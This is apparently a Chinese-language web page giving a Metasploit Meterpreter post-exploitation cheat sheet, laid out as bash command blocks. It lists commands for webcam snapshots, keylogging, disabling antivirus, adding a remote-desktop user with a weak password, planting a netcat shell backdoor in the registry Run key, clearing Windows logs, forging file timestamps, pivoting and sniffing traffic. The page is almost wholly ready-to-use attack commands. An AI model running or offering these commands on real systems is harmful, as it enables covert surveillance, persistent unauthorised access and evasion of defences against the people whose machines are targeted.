<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 会话管理</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">background  <span class="c1">#将当前会话放置后台</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">sessions  <span class="c1"># 查看会话</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">sessions -i  <span class="c1"># 切换会话</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">quit  <span class="c1"># 关闭当前的会话，返回msf终端</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># 系统设置</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">sysinfo  <span class="c1"># 查看目标机系统信息</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">idletime  <span class="c1"># 查看目标机闲置时间</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">reboot/shutdown   <span class="c1"># 重启/关机</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># shell</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">shell  <span class="c1"># 获得控制台权限</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">irb  <span class="c1"># 进入ruby终端</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1"># 进程迁移</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">getpid    <span class="c1"># 获取当前进程的pid</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">ps   <span class="c1"># 查看当前活跃进程</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">migrate &lt;pid值&gt;    <span class="c1">#将Meterpreter会话移植到指定pid值进程中</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nb">kill</span> &lt;pid值&gt;   <span class="c1">#杀死进程</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">migrate &lt;pid值&gt;    <span class="c1">#将Meterpreter会话移植到指定pid值进程中</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="c1"># 执行文件</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">execute <span class="c1">#在目标机中执行文件</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">execute -H -i -f cmd.exe <span class="c1"># 创建新进程cmd.exe，-H不可见，-i交互</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="c1"># 摄像头命令</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">webcam_list  <span class="c1">#查看摄像头列表</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">webcam_chat  <span class="c1"># 查看摄像头接口</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">webcam_snap   <span class="c1">#通过摄像头拍照</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">webcam_stream   <span class="c1">#通过摄像头开启视频</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="c1"># uictl开关键盘/鼠标</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">uictl <span class="o">[</span>enable/disable<span class="o">]</span> <span class="o">[</span>keyboard/mouse/all<span class="o">]</span>  <span class="c1">#开启或禁止键盘/鼠标</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">uictl disable mouse  <span class="c1">#禁用鼠标</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">uictl disable keyboard  <span class="c1">#禁用键盘</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="c1"># 远程桌面/截屏</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">enumdesktops  <span class="c1">#查看可用的桌面</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">getdesktop    <span class="c1">#获取当前meterpreter 关联的桌面</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">screenshot  <span class="c1">#截屏</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">use espia  <span class="c1">#或者使用espia模块截屏  然后输入screengrab</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">run vnc  <span class="c1">#使用vnc远程桌面连接</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="c1"># 键盘记录</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">keyscan_start  <span class="c1">#开始键盘记录</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">keyscan_dump   <span class="c1">#导出记录数据</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">keyscan_stop <span class="c1">#结束键盘记录</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="c1"># 添加用户，开启远程桌面</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="c1"># 开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">run post/windows/manage/enable_rdp  <span class="c1">#开启远程桌面</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">run post/windows/manage/enable_rdp <span class="nv">USERNAME</span><span class="o">=</span>www2 <span class="nv">PASSWORD</span><span class="o">=</span><span class="m">123456</span> <span class="c1">#添加用户</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">run post/windows/manage/enable_rdp <span class="nv">FORWARD</span><span class="o">=</span><span class="nb">true</span> <span class="nv">LPORT</span><span class="o">=</span><span class="m">6662</span>  <span class="c1">#将3389端口转发到6662</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="c1"># 关闭防病毒软件</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">run killav
</span></span><span class="line"><span class="ln">58</span><span class="cl">run post/windows/manage/killav
</span></span><span class="line"><span class="ln">59</span><span class="cl">
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="c1"># 修改注册表</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">reg –h <span class="c1"># 注册表命令帮助</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">upload /usr/share/windows-binaries/nc.exe C:<span class="se">\\</span>windows<span class="se">\\</span>system32 <span class="c1">#上传nc</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">reg enumkey -k HKLM<span class="se">\\</span>software<span class="se">\\</span>microsoft<span class="se">\\</span>windows<span class="se">\\</span>currentversion<span class="se">\\</span>run   <span class="c1">#枚举run下的key</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">reg setval -k HKLM<span class="se">\\</span>software<span class="se">\\</span>microsoft<span class="se">\\</span>windows<span class="se">\\</span>currentversion<span class="se">\\</span>run -v lltest_nc -d <span class="s1">&#39;C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe&#39;</span> <span class="c1">#设置键值</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">reg queryval -k HKLM<span class="se">\\</span>software<span class="se">\\</span>microsoft<span class="se">\\</span>windows<span class="se">\\</span>currentversion<span class="se">\\</span>Run -v lltest_nc   <span class="c1">#查看键值</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">nc -v 192.168.81.162 <span class="m">443</span>  <span class="c1">#攻击者连接nc后门</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">
</span></span><span class="line"><span class="ln">68</span><span class="cl"><span class="c1"># 清理日志</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">clearav  <span class="c1">#清除windows中的应用程序日志、系统日志、安全日志</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="42-文件系统命令">4.2 文件系统命令<a class="anchor" href="#42-文件系统命令">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">cat/ls/cd/rm  <span class="c1"># 基本命令</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">search -f *pass* -d C:<span class="se">\\</span>windows <span class="c1"># 搜索文件  -h查看帮助</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">getwd/pwd  <span class="c1"># 获取当前目录</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">getlwd/lpwd   <span class="c1"># 操作攻击者主机 查看当前目录</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">upload /tmp/hack.txt C:<span class="se">\\</span>lltest <span class="c1"># 上传文件</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">download c:<span class="se">\\</span>lltest<span class="se">\\</span>lltestpasswd.txt /tmp/  <span class="c1"># 下载文件</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">edit c:<span class="se">\\</span>1.txt  <span class="c1"># 编辑或创建文件  没有的话，会新建文件</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">mkdir lltest2  <span class="c1"># 只能在当前目录下创建文件夹</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">rmdir lltest2  <span class="c1"># 只能删除当前目录下文件夹</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">lcd /tmp   <span class="c1"># 操作攻击者主机 切换目录</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># timestomp伪造文件时间戳</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">timestomp C:// -h   <span class="c1">#查看帮助</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">timestomp -v C://2.txt   <span class="c1">#查看时间戳</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">timestomp C://2.txt -f C://1.txt <span class="c1">#将1.txt的时间戳复制给2.txt</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="43-网络命令">4.3 网络命令<a class="anchor" href="#43-网络命令">#</a></h3>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 基本</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">ipconfig/ifconfig
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">netstat –ano
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">arp
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">getproxy   <span class="c1">#查看代理信息</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">route   <span class="c1">#查看路由</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># portfwd端口转发</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">portfwd add -l <span class="m">6666</span> -p <span class="m">3389</span> -r 127.0.0.1 <span class="c1"># 将目标机的3389端口转发到本地6666端口</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 <span class="c1">#然后使用rdesktop来连接，-u 用户名 -p 密码</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># 添加路由</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># 方式一autoroute （deprecated）</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">run autoroute –h <span class="c1">#查看帮助</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">run autoroute -s 192.168.2.0/24  <span class="c1">#添加到目标环境网络</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">run autoroute –p  <span class="c1">#查看添加的路由</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="c1"># 方式二post/multi/manage/autoroute</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">run post/multi/manage/autoroute <span class="nv">CMD</span><span class="o">=</span>autoadd <span class="c1">#自动添加到目标环境网络</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">run post/multi/manage/autoroute <span class="nv">CMD</span><span class="o">=</span>print <span class="c1"># 查看添加的路由</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="o">(</span>Specify the autoroute <span class="nb">command</span> <span class="o">(</span>Accepted: add, autoadd, print, delete, default<span class="o">))</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="c1"># 然后可以利用arp_scanner、portscan等进行扫描</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">run arp_scanner -r 192.168.2.0/24
</span></span><span class="line"><span class="ln">26</span><span class="cl">run post/multi/gather/ping_sweep <span class="nv">RHOSTS</span><span class="o">=</span>192.168.2.0/24
</span></span><span class="line"><span class="ln">27</span><span class="cl">run auxiliary/scanner/portscan/tcp <span class="nv">RHOSTS</span><span class="o">=</span>192.168.2.0
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="c1"># autoroute添加完路由后，还可以利用msf自带的模块进行socks代理</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="c1"># msf提供了2个模块用来做socks代理。</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="c1"># auxiliary/server/socks_proxy</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="c1"># use auxiliary/server/socks_unc</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="c1"># 先background退出来，然后：</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">use auxiliary/server/socks_proxy
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="nb">set</span> srvhost 127.0.0.1
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="nb">set</span> srvport <span class="m">1080</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">run
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="c1"># 然后vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="c1"># 最后proxychains 使用Socks5代理访问</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="c1"># sniffer抓包</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">use sniffer
</span></span><span class="line"><span class="ln">44</span><span class="cl">sniffer_interfaces   <span class="c1">#查看网卡</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">sniffer_start <span class="m">2</span>   <span class="c1">#选择网卡 开始抓包</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">sniffer_stats <span class="m">2</span>   <span class="c1">#查看状态</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">sniffer_dump <span class="m">2</span> /tmp/lltest.pcap  <span class="c1">#导出pcap数据包</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">sniffer_stop <span class="m">2</span>   <span class="c1">#停止抓包</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="44-信息收集">4.4 信息收集<a class="anchor" href="#44-信息收集">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 信息收集的脚本位于：</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># modules/post/windows/gather</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># modules/post/linux/gather</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># 以下列举一些常用的</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">run post/windows/gather/checkvm <span class="c1">#是否虚拟机</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">run post/linux/gather/checkvm <span class="c1">#是否虚拟机</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">run post/windows/gather/forensics/enum_drives <span class="c1">#查看分区</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">run post/windows/gather/enum_applications <span class="c1">#获取安装软件信息</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">run post/windows/gather/dumplinks   <span class="c1">#获取最近的文件操作</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">run post/windows/gather/enum_ie  <span class="c1">#获取IE缓存</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">run post/windows/gather/enum_chrome   <span class="c1">#获取Chrome缓存</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">run post/windows/gather/enum_patches  <span class="c1">#补丁信息</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">run post/windows/gather/enum_domain  <span class="c1">#查找域控</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
